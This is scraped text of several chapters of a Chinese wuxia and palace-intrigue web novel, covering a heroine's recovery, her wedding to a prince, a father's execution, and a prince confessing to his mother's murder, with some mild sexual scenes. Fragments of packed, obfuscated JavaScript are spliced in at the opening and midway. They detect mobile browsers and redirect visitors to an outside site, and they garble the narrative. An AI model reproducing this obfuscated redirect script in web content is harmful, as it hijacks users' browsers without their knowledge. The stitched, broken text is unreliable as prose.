0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185802|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋水自己脱鞘而出，一剑毙命，什么天下第一，不过是个疯子罢了。 这时骨谙也带着马家的人回到了炙泉，刚刚那场风暴已经让他们心惊胆战，现在在看着一片狼籍的炙泉，骨谙心中只剩下对于萧妖雪的敬佩。 果然他们马家在这里捡到了不少重伤的江湖人士，沧州和胡笳城的马家医馆顿时人满为患。 这样的盛况持续了半旬，半旬之后，这些人才陆陆续续的离开了西域，而那时候马家无论是人缘还是财源都已经赚得盆满钵满了。 而西域与沧州和胡笳城相似的地方还有一个就是武清宗，每日同样是大夫人来人往，进出的人都是眉头紧皱。 直到半月后的某一天，一声喜讯终于是在武清宗里面传开了。 “萧姑娘醒了！”这个消息武清知道了，周明理知道了。 李无忧和马得源很快也知道了，再然后就连武清宗里的一条狗都知道。 顿时萧妖雪的屋子外面围满了人，众人脸上或多或少都有惊喜的泪水，时隔这么久终于是有一个好消息了。 屋内，萧妖雪床前也是站满了人，萧妖雪睁开眼就看见周明理、李无忧和武清满脸是泪的看着自己。 “你们怎么了，哭什么，我这不是醒了吗？”萧妖雪这一开口才发现自己竟然这么虚弱，喉咙也干哑的。 而屋内的众人似乎并没有被她这句话安慰到，眼中泪水又开始打转。萧妖雪心想，她长这么大还是第一次看到这么多男人一起哭，恐怕这件也没有几个女人能看到这个场景吧。 “那个三殿下，就劳烦你照顾着妖雪，我带无忧去看看云雁吧。” 说着武清就一把拉走了还在抹眼泪的李无忧，房中就只剩下萧妖雪和周明理两个人了。 “我昏迷了多久？” “半旬。” “怎么这么久了！咳咳，当时怎么……” 萧妖雪听到这回答，顿时激动了起来，路行最后成功了吗？大家都安全了吗？ “你别激动，先喝口水，我慢慢和你说。” 周明理看着萧妖雪原本有点血色的脸，一激动又变得煞白，急忙递过一杯水。 终于萧妖雪才算是把气给喘匀了，这会才算真正的活过来了。 周明理确定她情况稳定了，这才慢慢将那天发生的事情一五一十的告诉了萧妖雪。 “那师傅她……刚刚武清说要去看她。” “她还没醒过来，但是情况基本稳定了，应该用不了几天就会醒了。” “玉令呢？” “在我这。我打算之后差人送到东佛寺，让他们给封印起来。” “也好，老主持应该比我们更懂一些。对了，三……明理现在是什么时候了？怎么感觉这么冷？” “已经深秋了。” “深秋了！我现在醒了，我们快些回京都好不好？” “但是你的身体根本不能长途跋涉。而且你师傅……”周明理一时之间没有反应过来萧妖雪为什么这么着急，明明现在才醒过来不到一个时辰，更别说她师傅还在这。 “我想见父亲最后一面，这个世上只有我能在见他最后一面了。” 胡铭小记： 将军阁的事情解决的差不多了，胡铭在京都住的时间也够久了。可是正在打算离开的前一天晚上，他住的小院子里突然来了一群不速之客。 其实话也不能这么说，毕竟这三个人是由禁军围着进来的，只是三人都是一身黑斗篷，让胡铭觉得这事情没有这么简单。 “胡公子这是打算收拾收拾要走了？”为首的那人环顾了一圈，看着院子里面大包小包的东西，似乎有些疑惑。 “你是？！”胡铭大惊，这个声音他怎么会不认识，那天在大殿之上，他可是听得一清二楚。“见过太子殿下。” “不必如此。”周钦铭说着就摘下了身上的黑袍，同时他身旁的另一个人也摘下了黑袍，这人是一个女子，胡铭从来没有见过，长得可谓是惊为天人，虽然全身都被黑袍遮住只露出了那一张脸，都可以让看见的遐想连连。 “胡公子，胡笳城地远，你不妨就在京都住下，殿下欣赏你的才华，或许以后我们还有很多合作机会。” “你是何人？”看得出来这个女子地位不低，就算她这样贸然插了周钦铭的话，都没有收到半分呵斥。 “我？我是潇湘阁的少阁主萧云双。” “各位都是超重的大人物，我胡铭不过是胡笳城这个小地方来的，没什么见识，自认为担不起太子殿下重用。” “哦？是吗？我当真不留？”周钦铭显然对于胡铭的拒绝很是意外。 “回殿下，当真不留了。” “那好吧，云双我们走。” “是！” 就在三人转身的时候，胡铭看到萧云双身前有一道阵法的光芒闪过，然后还不等他准备，身前就出现一枚剑的碎片，下一秒他就被这碎片贯穿了。 在胡铭失去意识之前，他隐约听到了，周钦铭对他身旁的另一个黑衣人说道：“天行，还是你有懂得审时度势，可惜了。” 73. 落血成婚 盛元十五年深秋，京都发生了三件大事。一件是天下事，一件是喜事而另一件也是一件大喜事。 先说这天下事，原本昏迷许久的圣人突然清醒了一会，下了一道诏令，正式立二皇子周明志为太子。普天同庆，东宫之位终于有主，东梁的未来终于不用停留在猜测之中。 而那一件喜事也说来古怪，虽然李治已经入狱，但是之前三殿下周明理与李相家的千金的婚事并没有作废，还随着两个人再度回到京都已经轰轰烈烈的操办起来的了。眼见好日子将近，天家的喜事，这城中的众人都能分一杯羹。 而这另一件大喜事，才是大快人心，深秋已至，之前入狱的李治也到了行刑的时候了，上到朝中百官，下到街坊百姓无不是拍手叫好。 而更巧的是，李治问斩的时候和胡笳郡王的大婚竟然安排在了同一天，一个从东市去西市，一个往西市来东市。这倒是省了百姓不少的麻烦，只要站在那主街上，那便是一举两得，什么热闹都不会落下。 大婚当日，被封禁已久的李府竟然重新开了门，还挂上了大红灯笼，只是之前的那块牌匾已经被摘了下来，现在门头空悬成了一座无名空宅。 “新妇竟然从李府出嫁？” “她不是不是李治的女儿吗？” “那你也不能让她从潇湘阁出嫁呀，那是什么地方，圣人的脸面不要了？” “要我说还是三殿下大度，这新妇要是以现在的身份怎么攀得上。要不是罪臣之女，要不是风尘女子。” “她呀真是磕头碰到天了。” 人群中关于这场婚事的议论声从来没有停止过，这些话也传进了人群中两个带着帷帽的人耳中。 “兄长，那日你去见了他？” “是呀，他还说了一故事，一个能够改变结局，只能留下遗憾的故事。” “你后悔吗？” “这是父亲和他共同的心愿，只是我有一种说不上来的感觉。” “小梅，东西都送到了？” “嗯。” “那好，我们就看看新娘子出阁我们就走吧。” “好。” 李府之内，今日虽然是萧妖雪大喜的日子，但是作为新娘子，脸上却是勾不起半分笑容。 一群下人围着她转悠，今日这红妆却是格外美丽，只可惜他们都看不到。 “排位请过来了吗？” “小姐，夫人的已经请过来了，老爷的？” “去那来吧，那会应该已经可以用了。对了潇湘阁怎么回复的？” “楼主说今天她会亲自过来。” “好，时辰到了，我们走吧。” 随着李府大门缓缓打开，新娘子的绣花鞋踏了出来，门外发出了阵阵鼓掌声。 萧妖雪不由得想到自己刚认回李府的时候，门外也有这么多看热闹的人，大家脸上也是挂着这样说不清道不明的表情。只是当时自己面前放着的是当年遇刺的阵阵疑云，身边却站着刚刚结交的好友，身前还有多年的未见的父亲和兄长。 如今离开就像一场大梦初醒，秋风料峭，身后无人，身旁只一人，难免有些孤寂，至于眼前也只剩下权势斗争的一滩烂泥。 透过那红盖头，她还能看到不远处坐在高头大马上的周明理，好在现在好有他在，这才让这条路不那么孤独。 “新娘子走吧，该上轿子了。”旁边的媒人看着萧妖雪还站着不动，心中也知道新娘子在想什么。她接过的亲十个手指头都数不过来，像萧妖雪这样没有亲人在身边，愁思多一些是难免的。 好在这位新娘子，不是一个爱哭哭啼啼的性格，只是短暂的驻足留念了一下，便登上了花轿，顿时锣鼓喧天，礼炮齐鸣，花轿起，新妇嫁。 与此同时，另一边李治也坐上囚车，夹道之人不再是贺喜，而是满嘴辱骂，烂菜叶臭鸡蛋，顿时就堆满了囚车。 今日押送李治并非是刑案司的人，而是巡检司。为首的正是季执礼。 “李大人，那我们走了。” “走吧，对了，听说今天三殿下大婚，我们这样的会不会冲撞了他们？” “李大人，这可是三殿下刻意安排的，他说之前就答应过你。我想他们应当不会介意吧。” “新娘子是？” “是萧妖雪。”季执礼看着李治凝固在脸上表情心中也不是滋味，只是他觉得这件事李治还是应当知道。 “妖雪，她……” 此时的李治声音已经开始颤抖，就算是刚刚听着这么多辱骂的话语，他的表情都没有一丝变化，可是唯独这时他的眼泪怎么都控制不住，或许是内疚，或许是感激，但是在远远看见那红轿子的时候，已经不重要。 京都的主街非常宽，就算两边有看热闹的人群，两支队伍依旧可以轻松的交错而过。 新娘的花轿帘子是撩开的，李治的囚车更是一览无余，交错之时，正如去年在这里二人那惊鸿一瞥，只是那时一人是意气风发的女侠，一人是身居高位的宰相。而现在一人是死到临头的阶下囚，一人是皇子的新妇。 “小婉……此去多平安，余生得所愿。”李治轻声道，他知道萧妖雪可以听到。 他是一个失败的父亲，就连最后的祝福都要寄托在女儿的本事上，他这一辈子为了朋友背了一辈子的事情，却气死了妻子，丢了女儿。如今儿子也因为他只能隐姓埋名，他可真不是一个好父亲呀。 季执礼带着囚车的队伍走得很慢，周明理带着花轿走得也很慢。李治的眼睛一直盯着轿中的新娘子，可是就算是走得再慢，萧妖雪的身影还是消失在了李治的眼中，而萧妖雪却一直都没有转头再看过他一眼。 这日周明理的府邸外依旧是人来人往，送礼的道喜的数不胜数。可是宅内却是异常的冷清，萧妖雪独自一人坐着，没有父母陪同，甚至没有亲朋。 “大婚当天可不能哭。”正当萧妖雪想到李治刚刚说的话，眼泪有些忍不住的时候，身后却传来了一个声音。 “文先生？你怎么来了？”萧妖雪转头，透过红盖头就看到了文妆站在一边。 “不是你邀请的我吗？” “京都潇湘阁的楼主是你？文先生你竟然出谷了？” “是呀，我也没想到，这么久没来京都，京都竟然也没有多少变化，还是那么令人不舒服。” 文妆本来还在打量周明理这府邸，却发现刚说完的话，萧妖雪又没了声音，急忙转头一看就看到萧妖雪的肩膀开始一抽一抽的。 “诶，妖雪，都说了大婚不能哭，等会妆花了可就不好看了。你要哭也憋着回洞房再哭。” “文先生……”听了文妆这话，萧妖雪还真的忍住了。 “妖雪，不说这个。难得现在没人，你说说云雁的情况吧。” “前几天武清叔给我传了消息了，师傅醒了，一切都好，只是……” “体内经脉寸断，所以武功尽失了。” “原来你已经知道了。” 萧妖雪想来文妆毕竟是潇湘阁的主心骨，这事情她肯定知道了。 “我猜的，云雁是不会和我说这个的。” “你们还真是相互了解呀。” “不过这样也好，她呀终于可以安分点了。不过云雁这次还是挺赚的，毕竟她可是直接要了路行的命。” “是也不是，师傅自爆之后，路行并没有死，只是武功尽失。但是其实那样的情况下就算是师傅，一命换一命都不一定能让路行武功尽失。” “你是说还有人出手了？” “武清叔最后动手杀了路行，可以说是轻而易举，我虽然只是听他们描述，但是我基本可以肯定，路行武功尽失应该是他体内有蛊。” “窦毒？” “但是他哪有这本事给路行下毒？周明启？” “如果是这样圣人的病因应该也就找到了。” “这！” “但是文先生，这件事我还没有证据。” “那好吧，诶新郎官进来了，我就先走了，之后有什么就到潇湘阁来找我，潇湘阁永远是你的后盾。” 说着文妆对着进来的周明理微微颔首就离开了，这府邸终于只剩下了他们二人。 周明理看着放在一旁的两尊牌位，上前拿了清香，分给了萧妖雪，二人祭拜了一番。 “那边都结束了？” “嗯，李安国和黄清落去了，我安排了人暗中给李大人收拾了，他们今晚就带着出城了。” “明理，谢谢你。” “今天天气难得不错，我们去屋顶看星星吧。” “今天是大婚，这样不合适吧。” 萧妖雪一把抓住周明理来接盖头的手，虽然她今日心情确实不好，但是毕竟这大婚不是她一个人的事情，她也不想周明理为了她而留有遗憾。 “这是我们的婚事，该做什么我们说的算，再说了就算觉得我们现在该走流程，你这样我能走得快活吗？” 说着周明理也不顾萧妖雪的阻拦把她的盖头给揭了下来。 屋顶上二人相互依偎着，今日的夜空确实如同周明理说的那样晴朗无比，漫天的星星争相闪耀。 “你后悔吗？”萧妖雪对着周明理问道。 “我为什么后悔？我们都已经出生入死这么多次了，我是人又不是木头。” “可是你也是皇子。” “皇子又如何？周明启都能背着这么多人娶袁梅，我有什么不能坚持一下的。” “你这话说的。” “妖雪，我从来没有为我任何一个选择后悔过。我想你父亲也是，所以我希望你也是。” “……” 回应他的只有沉默，以及手臂上突如其来的水滴。 夹带着寒气的秋风吹过脸庞，萧妖雪觉得脸上有些冰凉，这一摸才知道，憋了一天的眼泪终于还是决堤了。 不动声色地抹去眼角的脸上的泪水，她自以为做得天衣无缝，但是下一秒周明理那个温暖怀抱还是揭穿了她。 可是两人什么都没说，此时良辰美景心事自然不用言明。 “妖雪，其实你就是潇湘阁的少阁主吧？”周明理突然问道。 “你……什么时候猜到的。” “其实看到流彩剑我就猜到了。这柄剑是之前那位少阁主的剑，听说前太子被废了之后，这柄剑也回到了潇湘阁手中。萧云雁能把它给你，足以说明你的地位。” “你介意吗？我是少阁主，但是我的选择不是你。” “你要是真选了我，那萧云雁也不会看上你当少阁主了。” “你就这么看不上自己。” “我可不想因为这个事情天下大乱。” “不愧是帝王家的孩子。” 又是这句话，周明理上次听到实在莲座镇的时候，周明理心中难免一揪。不过萧妖雪接下来的话去让他揪起来的心好受了不少。 “好在你是明理，竟还是有些不同。” “妖雪，你的选择不是我，你以后可以只把我当作一个寻常家的男子看如何？” “那可不行，要当也是当作一个俊俏的纨绔。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198708|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 终于沉闷了一夜的气氛得到了缓解，不过周明理好像对这个形象很是满意，竟然完全没有反驳。只是眼中的笑意越来愈浓了，接下来便是他们一个情意缠绵的吻，他们二人的新婚之夜这才正式开始。 第二日一早天光已经大亮，二人还腻腻歪歪的躺在床上，如今萧妖雪双亲已逝，圣人又卧病在床他们也不便太早去打扰，这倒是给了两个年轻人更多相处的时间。 “娘子，醒了。”周明理看着迷迷糊糊的萧妖雪，心中不由得又是一阵躁动。 “这称呼听起来怪怪的。”萧妖雪昨夜累的很，听着周明理这语气，心中有些不安。 “难道不是吗？”萧妖雪也想不明白，自己就说了一句话，怎么就又勾起了周明理的兴趣，现在那双手又开始不安分了。 “诶，被闹了，一会还要进宫呢。” “来得及。” 说罢又是一阵云雨，这次这次萧妖雪是彻底没力气了，最后沐浴整个人都是软绵绵的躺在周明理怀里。 “周明理，你就不会累吗？”萧妖雪越想越气，昨天还以为这人体贴人，没想到真到了床上，那叫一个忘我。 “你刚刚可不是这么说的。” “你……” 待二人收拾好以后已经是正午时分了，二人却还绕路去了一趟工匠司接上了丁游这才进宫面圣。 “明理、妖雪你们来了。”周钦德坐在屏风后面，只有声音回荡在空旷的寝宫里。 “给父皇请安了。” “明理，你去看看明志吧，这几天你不在她可是忙得不可开交。” “是，父皇。”周明理自然听得出来，圣人这是故意将他安排走。 萧妖雪的身份已经明了，现在周明志也当上了太子，恐怕圣人是有些话要单独和这少阁主说。心中难免有些担心，可是当他看向萧妖雪的时候，对方却给了他一个安心的眼神。 可是萧妖许心里却不是这么想的，潇湘阁的事情皇家很难插手，所以圣人想要和她单独说的应该是关于萧云雁的事情。 果然在周明理退出去之后，周钦德开口第一句话就是“云雁她怎么样了？” “师傅她没有性命之忧。” “那就好，那就好。” 虽然隔着屏风，萧妖雪看不到周钦德的表情，但是她现在可以肯定，周钦德现在应该是松了一大口气。因为之后他再说什么的口气都已经没有那么紧张了，帝王威严和沉稳又回到了他身上。 “妖雪，近来辛苦你了。” “圣人说的哪里话，我们不都是各有所图，最后也都得偿所愿吗。” “唉，压了十年的事情，终于能解决也算是件好事。只是十年足以病入膏肓了。” “您见过袁墨。”萧妖雪听到这话，顿时就大感不妙。周钦德突然转醒立了周明志为太子已经是萧妖雪预料之外的事情了，现在他竟然还暗中见了袁墨。 “李治最后能被治罪，关键性的证据是周明志拿出来的，他还替朕谢了罪，这不就是最好的时机吗？” “那您见袁墨，他毕竟是……” “这恐怕是最后一面了，和李治一样。” “父亲最后也见了他？” “嗯，听说袁墨是笑着进去，哭着出来的。朕很久都没见过袁清了，实在是想念他了。” “那他又说什么吗？” “还能说什么，他现在跟着明启，过得还不错。” “可是这次……” 萧妖雪话还没说完，周钦德寝宫的门就被推开了，刚刚离开的周明理竟然去而复返，而且一脸严肃。 “慧妃，自缢了。” “什么？”“林梦？” 丁无名小记： 丁无名作为薄凉宗薄凉人，他的任务不同于段天行，他主要做的就是找这京都中的各位官爷买卖这阵法。 最近他做了一笔不小的生意，京都中有一户人家大婚，这丈夫要给娘子一个惊喜，从他这买了一个传运阵，一边还在房间里，而另一边画在了京都城郊的一片花海。 之前因为丁游放火的事情，丁无名不放心，这段时间离开薄凉宗总是将丁游待在身边，好在他的事情不多，这孩子就跟着他在京都混，也不必走南闯北。 丁游这孩子在丁无名看来是在顽劣，但是不知道为什么，这外人总是对这个孩子喜爱有加。 就比如这次这对新婚夫妇，看见丁游那种喜爱，丁无名作为一个父亲都自认不足。 只是这刚一手交钱一手交货，丁无名就收到了薄凉宗的消息，让他快马加鞭刚回去。 丁无名看着身旁的丁游，心中泛起了嘀咕，要是带上这小子，他怕是快不了一点，而且隐隐有一种不好的感觉。段天行刚被捉拿，薄凉宗就通知他回去，这事情恐怕没有那么简单。 而这时丁无名甚至都还没有离开这座府邸，那女子虽然只听丈夫说这是来帮他们修理屋舍的工人，但是看着丁无名这表情，顿时就自告奋勇的愿意将丁游留在府邸，而那男子竟然连声附和。 当时丁无名已经惊呆了，这两位什么身份，一个是刑案司正职江冬藏，一个是王家贵女王文妆，竟然愿意替他带孩子。 “二位这点小事怎么敢劳烦你们呢？” “这哪是事，文妆刚刚嫁过来，我这又忙得不可开交，再加上这府邸空旷得很，刚好可让小游好好陪陪她。” “可是？” “诶没有什么好可是的，丁兄你就尽管去忙活你的事情，保证你回来的时候，小游给你喂的白白胖胖的。” 74. 落血成婚2 “陛下，你不能再向前了。” 此时许久未见的圣人，再度出现在几人面前，却被一旁的丁游厉声制止。 周钦德似乎也在听到他的声音后冷静了下来。看着眼前那条砖缝止住了脚步。 也就是在这时，萧妖雪清晰的看到了地面上阵法一样的图案开始闪动。看来丁游为了他们的计划，还真是煞费苦心呀。 “陛下，你还是先退回去吧。要是阵法破了，您可就危险了。” 周钦德现在脸上全是无奈，但是还是照做了。 “是谁做的，查清楚了吗？” “袁墨带着刑案司正在盘查，目前的结论是还是慧妃娘娘她自己寻了短见。” “怎么可能！” 周钦德听到顿时又激动起来，不过这次他并没有冲出来的冲动，而只是拍案而起。 “林梦不是那样的人，但是恐怕……” 看着周钦德欲言又止，萧妖雪和周明理心中都有了一些想法，都说知子莫若父，就算是皇家也逃不过。 “唉，明理、妖雪这件事你们也暗中调查。有什么情况就和丁游说，让他转述给朕。还有妖雪，你写封信告诉你师傅，这段时不要来京都，让她安心在武清宗养伤。” “是，陛下。” “好了，你们退下吧，朕有些乏了。” 三人出宫后，就带着先将丁游送到了工匠司，而赵江河已经早早在门口等着他们了。 “师傅？你出门了？” 自从袁梅结婚后，赵江河就已经很久没有出过门了，所以现在丁游看见赵江河，靠在门边的模样，竟然难以置信的揉了揉眼睛。 “小游，你先进去，我有话同三殿下他们说。” “哦，是，师傅。” 丁游显然有些失望，他还以为赵江河终于心病痊愈了，没想到只是因为来了贵客。 看着丁游进了工匠司，赵江河才转头对着萧、周二人说道：“借一步说话吧。” 几人又回到了王府的马车上，周明理作为皇子，这这马车用料都是上好的木头，既透气又隔音。这车内几人只要是正常交流，就算是站在马车旁边都听不到。 可是赵江河上了车，还是有些紧张，说话都是小声小气的，显然他对于这件事非常在意。 “那个前几日，我见了黄姑娘。” “她一个人来的？”萧妖雪之前在登记他们大婚的送礼簿的时候，就看到了黄清落的名字，可是这几日都没有见到她的身影，说是不担心她是不可能，要说就连胡晓枭这一路过都遭遇了那种不测，黄清落一个小姑娘从胡笳城这么远的地方跑来京都，萧妖雪都快急死了。 “那倒是没有，她带了一个侍卫。” “侍卫？我兄长？” “呃……叫做国子木。” “国子木？……国子木这名字真难听。” “反正就是这么一回事，东西呢我已经收到了，就是和你们说一声，什么时候要用，告诉我便是了。” “好，我知道。这事情应该不至于要这样说啊。” 萧妖雪看着赵江河还是一副，警惕的样子，就知道这话不过是他抛砖引玉罢了，恐怕后面的话才是重量级的。 “嗯……殿下，萧姑，哦不夫人。前几天袁墨来找了我一趟。” “袁墨？” “他说最近周明启最近不太对劲，看袁梅看得太紧了，就连他都没法见，他觉得这件事有点不对劲。” “他和你说这个干嘛？”周明理忍不住插嘴道，现在赵江河可是个外人，袁墨已经完全为了周明启做事，怎么会跑来和一个外人说这话。 “他说如果有一天他或者袁梅出事了，让我来找妖雪，说这背后都是周明启的手笔。今天不是慧妃娘娘出事了吗？我觉得虽然袁墨没有提，但是这件事恐怕和五殿下脱不了干系，所以我一定要告诉你们。” “赵大人，你知道你的这个想法很可怕。” 萧妖雪知道赵江河在想什么，刚刚圣人恐怕也萌生了这样的想法。但是连圣人都不敢说出来，就知道这个想法有多荒谬。 “我知道，但是我……我担心呀。” “好了。你也别多想了，江河你说的这件事不要再对任何人说，我们自会处理的。明白了吗？” 周明理看着赵江河现在已经汗如雨下，要知道现在依然是深秋，他们的马车上还没有点上暖炉，赵江河这汗看着不对劲。 “江河，你最近还好吗？”萧妖雪看着赵江河的模样相比于上一次在工匠司见消瘦了不少，估计这段时间都是整天待在屋子里通宵达旦的研究他那些木头，整个人皮肤苍白，眼眶却是带着淡淡的乌黑。 “我？呵呵我没事，就是最近做一个东西做的有些晚了，没有休息好。” “江河，你也别多想了……” “我没有多想，袁姑娘她这么厉害，定然不会有事的，而且五殿下和袁姑娘早就认识，袁姑娘一定会没事的。殿下，夫人没什么事我就先走了，我看那木偶关节还不灵活，我再去调整调整，别到时候误了大事。” 说完赵江河就像是逃跑一样的，下了马车。 “还说没多想，我这话都还没说，他就跑了。”萧妖雪忍不住嘟囔道。 “感情这东西不是那容易消失的，走吧，接下来去哪？” 周明理还看着赵江河远去的背影，半天都没等到萧妖雪的回答，这一转头才看到萧妖雪正在呆呆的望着自己。 “干嘛？这个眼神看着我？” “明理，要是我哪天不在了，你会找我吗？” “当然会呀，上天入地，我也一定会把你找出来。” “要是那个时候我们已经不是夫妻了呢？” “怎么可能，我们会做一辈子的夫妻，你就算想跑也跑不了。” 说着周明理一把捞过萧妖雪抱在怀里，暖玉入怀，从窗户中透进来的丝丝寒气顿时不见了踪影。可是不知道为什么今天萧妖雪这么执着于这个问题，这最后还是问出了令周明理心头一紧的那个问题。 “那要是我死……” 话还没说完，萧妖雪就觉得嘴唇一热，剩下的话语都化作黏腻的哼哼声，被周明理尽数咽下。苦涩的泪水混着腥甜的血液从嘴角流入口中，在舌尖荡漾开来，让这一吻更加缠绵。 “想都别想。” 慧妃林梦的死很快就惊动了京都，五皇子周明启的府邸上更是乱作了一锅粥，唯一平静的地方却是位于这场暴风雨正中心的周明启的房内。 周明启现在面无表情的坐在房内，若不是知道根本不会有人能想到这死的人是他的母亲。反倒是袁梅虽然也是端坐一旁，但是眉目之中全是焦急之色。 “夫君，母亲她……她……”袁梅斟酌几次后，却一直没有找到合适的话语。 “她怎么了？” “你……母亲她到底是为什么……会这样。” “我不是说了吗，她得知了她的好姐妹萧云雁的噩耗，没能撑过去。怎么你不信？” 看着袁梅不说话，周明启知道她不信，毕竟他自己也不信。要知道林梦可是宰相之后，哪有这么脆弱。再说了萧云雁平安的消息已经传回京都，她自然不可能因为这个事情自杀。 “你不信也正常，我可以告诉你真相，但是你真的愿意听吗？” 袁梅觉得此时周明启就像拿着一个诱人的毒苹果放在她面前，只要浅尝一口那便是万劫不复，可是这苹果色泽鲜艳，芳香四溢，引得人垂涎三尺。而袁梅最终还是没能抵御住这个诱惑。 “我们是夫妻，我当然愿意。”为了掩饰内心的恐惧，袁梅还顺手端起一旁的茶打算喝一口压一压。 “人是我杀的。” 哐镗！精美的茶具顿时碎作几片。 “娘子很惊讶呀？该不会是想去告发我吧？” “你说什么呢，怎么会呢。”袁梅虽然嘴上这么说，但是整个人都有些忍不住的颤抖。 之前游走江湖的时候过得也是刀尖上舔血的日子，她都从来没有怕过，这是第一次，她看着眼前这人心中升起了惧怕。连自己母亲都可以下手的，自己之前竟然丝毫没有察觉。 “不会就好，反正现在最关键的你已经听到了，那不妨就多听两句吧，不然我憋着也好难过。” 袁梅心中叫苦，现在她可是上了贼船下不来了。不过她的直觉告诉她，恐怕在周明启决定娶自己的时候，她就已经上了贼船了。 “娘子，你知道二哥那个温性子为什么能够当太子？三哥那个杂毛为什么能回来京都？那都是拿他们的母亲换的。二哥的母亲走得早，她自己一个人长大却是不容易。三哥的母亲陪伴了圣人最久，最后还客死他乡。圣人这么一个重感情的人，心里愧疚呀。奈何不能补偿给女人，只能补偿给儿子了。” “可是圣人对你也不差呀？”袁梅听了周明启说的这些，也逐渐冷静下来了。周明启的野心也不是一天两天了，但是会走到今天这一步，是袁梅不能理解的。 “不差？确实不差，但是太子之位还是给了二哥那个怂包。我的这些恩惠不过是圣人看在萧云雁的面子上给的，本来当年应该嫁给圣人的根本不是我母亲，应该是萧云雁，圣人与她才是两情相悦。 可是萧云雁她高洁，她终身不嫁，圣人这才娶了母亲。因为她们两个像呀，可是莞莞类卿终不是，现在这份情谊终于近了。” “可是你就打算以这样的方式等着老天赏饭吗？”袁梅听出了周明启的意思，顿时愤怒无比。直接拍案而起，可是她的怒火似乎并没有烧到周明启身上，周明启还是一副淡淡的样子，坐在原地，冷眼看着袁梅。 “怎么可能我已经不能再等了，没有那么多机会了。现在萧云雁成了个废人，说不好就看得上这妃位，那我们就真的一无是处了。所以这是我最后一次的机会了。” “夫君……” “虽然这只是一个开始，但是娘子你不用担心，很快就会结束。所以我要你帮我，你必须要帮我，我除了你谁都没有了。娘亲死了，师傅不要我了，窦毒去杀他的路上也被他杀死了。路行最终也没能成神，败给潇湘阁那群娘们。现在只有你了，我的娘子，你一定会帮我的对吧？” 周明启越说越激动，起身一把紧紧的攥住了袁梅的肩膀。手上的力道捏的袁梅肩膀生疼。 “你……你要我做什么？”袁梅被他捏得受不了，伸手去掰他的手指，可是却纹丝不动。 “很简单，我要你做我的少阁主。” “少阁主？” “不错，二哥之所以能都被圣人看中不就是因为他被萧妖雪选上了吗？圣人为了省事，这才封他为太子。但是只要他的少阁主是假的，那么他就是欺君，这太子之位自然就要拱手让人了。” 周明启说出了他的计划，似乎是埋藏许久的心事终于一吐而快了，终于松开了袁梅，可是袁梅却像是失去了依靠，整个人都不由得晃了一下，扶着一旁的桌子才站稳。 “可是我？我怎么能？” “其实很简单，你只用继续待在我身边就好了，其他的事我自然会安排好。” “就这样？” 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袁梅不由得苦笑一声，笑自己当时竟然还这么期待。或许日后赵江河见到自己这个下场也会笑吧，真是阳光大道不走，偏偏这死路一条的独木桥，她抢着上。 本来在武清宗安心养病的萧云雁，当天就收到了两封急令，一旁的武清就看着她的脸色一会白一会黑的。最后还是忍不住，一口鲜血喷在地上。 “云雁，怎么回事？” 萧云雁似乎似乎是没有什么力气再说了，将那两封递给了武清。 两封急令一封是文妆发来的，是林梦的讣告，另一封是萧妖雪传的周钦德的话。 正当武清还在看的时候，萧云雁已经起身，准备去收拾东西，连夜出发，却还是被武清一把拉住。 “你要干什么？” “我要去京都，妖雪有危险，不对周明启，周明启要对潇湘阁下手。” “你不能去！” 感受到受伤萧云雁不断挣扎，武清手上力气一点都不敢松。 “你放手。”萧云雁的语气突然冷了下来，也不再挣扎，而是转头冷眼对着武清。 “云雁，你不能去。其实我们还有一件更重要的事情要去做。” “什么事情？” “徐菀露来了。” 周钦德小记： 将军阁的事情处理的差不多了，这几日和周钦铭的相处，周钦德显然感受到，这位太子并不欢迎他继续留在京都，所以也便收拾收拾东西，打算离开了。 这日都到了城门口，看着卢化和苏沐风都来送别袁清，一旁周钦德和徐战难免有些尴尬。 “殿下，这萧姑娘和林姑娘怎么说我们打了这么长时间的教导员，怎么也不见他来送送我们。还有那武清，留了一封信就走了，这京都也太没有人情味了吧。” “好了，袁清走了。” 果然这话也戳到了周钦德的心里，看着袁清还在那里墨迹，气不打一出来，上前一把薅住了袁清的后脖领就给人拖到了马车前。 袁清还不忘在那和苏、卢二人拜别呢。直到他们的视线中被一个高大的身影挡住。 徐战沉着声音对着袁清说：“没听到殿下说呢，走了。” 袁清这才反应过来，自家殿下是这气这个，于是大气都不敢出上了马车，却被碰的一声锁在了外面。 “你赶马。”周钦德带着不爽的声音从里面穿了出来。 这一路上袁清心里直叫苦，自家殿下就是有时候太较真了。 自己这赶了一路的车不说，吃饭是不能和他们坐一桌，饭钱还有自己掏。本以为这样的日子是没个尽头了，却不了突然峰回路转。 这一日他们还是照常赶路，身后却传来一阵马车声，这回头一看袁清就知道，自己的好日子要回来了。 赶马车的人正是萧云雁，袁清当时都想给萧云雁给跪一个了，真是救他于水火。 周明理和徐战下车后也看到了萧云雁的身影，也是一惊。 “哟，萧姑娘好巧呀。”袁清现在可是得救后欣喜若狂，向着萧云雁疯狂招手，就怕人看不到。 “德王殿下、徐大人、袁大人。” “你怎么找到我们的？”周钦德笃定，萧云雁就是追着他们来的，可是他们都离城这么久了，这人竟然还能追上来，还着是神奇。 “你可别小看了我们潇湘阁。” “那是我考虑不周了，不过萧女侠坐马车这还是少见。” “那当然少见了，毕竟又不是云雁一个人。”说着林梦也从马车上下来。 “林梦？你怎么？”周钦德更是有些糊涂了。 “因为我不想嫁人，所以就叫着云雁跑了呀。”林梦此时说得风轻云淡，好像就只是一件小事一样。 “林华东想把她嫁给太子。”萧云雁忍不住在一旁补充道。 “嫁给太子，那多好，那可是皇家呀。”徐战在一旁忍不住插嘴道。 